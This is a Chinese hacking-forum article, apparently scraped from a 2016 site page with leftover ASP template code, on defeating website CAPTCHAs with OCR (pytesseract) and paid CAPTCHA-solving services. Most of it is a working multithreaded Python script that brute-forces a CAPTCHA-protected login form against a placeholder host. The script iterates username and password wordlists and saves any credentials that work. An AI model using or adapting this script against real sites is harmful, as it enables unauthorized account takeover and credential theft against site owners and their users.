<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("python脚本验证码识别以及应用") PageTitle=stripHTML("python脚本--验证码识别以及应用") ArticleIntro=stripHTML("验证码对于安全测试人员来说,它有些令人讨厌;对普通网民来说,似乎体验越差;对于企业来说,可能是一个有效的阻止暴力破解的方法。可事实上真的是这样吗?在wooyun上曾看到有人说“目前90%的验证码都是可") Articlecontent=stripHTML("验证码对于安全测试人员来说,它有些令人讨厌;对普通网民来说,似乎体验越差;对于企业来说,可能是一个有效的阻止暴力破解的方法。可事实上真的是这样吗?在wooyun…") ModuleName = stripHTML("hack") InfoID = stripHTML("224441") ChannelShortName=stripHTML("Hack") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("hack") %> python脚本--验证码识别以及应用 - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> Hack >> 加密解密 >> 正文

[组图]python脚本--验证码识别以及应用

2016/2/19 作者:黑白之道 来源: 黑白之道
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

  验证码对于安全测试人员来说,它有些令人讨厌;对普通网民来说,似乎体验越差;对于企业来说,可能是一个有效的阻止暴力破解的方法。可事实上真的是这样吗?在wooyun上曾看到有人说“目前90%的验证码都是可以破解”,想想也的确如此,为何这么说,待我慢慢道来。

  首先看一个简单验证码识别的例子。

  

以下是代码片段:
=============分割线=============
  #!/usr/bin/env python
  # -*- coding: utf_8 -*-
  # @Author: IcySun
  # 脚本功能:验证码识别
  import pytesseract
  from PIL import Image
  image = Image.open(’vcode.png’)
  vcode = pytesseract.image_to_string(image)
  print vcode
  执行结果:

  



  从上面的执行结果可以看到,这种简单的纯数字的验证码识别起来是比较容易的,我们再找一点相对复杂的验证码识别看看。

  由此可见,验证码的复杂程度决定了程序的识别准确率。但很多网站的验证码还是特别复杂,用上述的脚本就可以去做简单的暴力破解,当然这需要一定的运气。

  更复杂的验证码,网上也有很多分析方法,当然最简单有效的是调用打码平台,我测试过打码平台,准确率基本在95%以上,当然这里是需要一定的成本的。附上测试截图:

  



  附一个存在简单验证码的网站暴力破解脚本(代码是摘抄的):

以下是代码片段:
  #!/usr/bin/env python
  # -*- coding: utf-8 -*-
  # @Author: IcySun
  # 脚本功能:暴力破解带验证码的网站
  import sys,os
  import urllib2
  import urllib
  import httplib
  import threading
  from PIL import Image
  import pytesseract
  import requests,re
  def vcode():
  pic_url = ’http://xxx.com/validate.aspx’
  r = requests.get(pic_url, timeout=10)
  with open(’vcode.png’, ’wb’) as pic:
  pic.write(r.content)
  im = pytesseract.image_to_string(Image.open(’vcode.png’))
  im = im.replace(’ ’, ’’)
  if im != ’’:
  return im
  else:
  return vcode()
  headers = {"Content-Type":"application/x-www-form-urlencoded",
  "Connection":"Keep-Alive",
  "Referer":"http://xxx.com/"}
  def tryUser(user,password):
  global headers
  global outFile
  conn = httplib.HTTPConnection("http://xxx.com/")
  if len(user) < 2:
  return
  else:
  code = vcode()
  user = user.strip()
  passwd = password.strip()
  params = urllib.urlencode({’uname’: user, ’upwd’: passwd,’chkSave’:0})
  conn.request(method="POST", url="/FormService.aspx?method=Login", body=params, headers=headers)
  responseText = conn.getresponse().read().decode(’utf8’)
  if not responseText.find(’false’) > 0 :
  outFile.write(user + ’ ’ + passwd + ’\n’)
  print u"账户密码已经破解!用户%s : 密码 %s" % (user,passwd)
  os._exit(0)
  else:
  print u’[*]正在尝试用户%s: 密码%s’ % (user,passwd)
  return
  outFile = open(’OK.txt’, ’w’)
  if __name__ == ’__main__’:
  tsk=[]
  with open(r’user.txt’, ’r’) as fUser:
  with open(r’pwd.txt’, ’r’) as fPass:
  for user in fUser.readlines():
  for password in fPass.readlines():
  t= threading.Thread(target = tryUser,args=(user,password))
  t.daemon = False
  tsk.append(t)
  fPass.seek(0)
  for t in tsk:
  t.start()
  t.join(5)
  print "All thread OK,maybe not "
  outFile.close()
  


  写在最后,其实验证码的破解仅仅是一种思路,实战的时候我没有得到想象的效果,希望大家有更好的脚本也共享出来。



  • 上一篇Hack:

  • 下一篇Hack: 没有了
  • Hack栏目相关内容

      没有相关Hack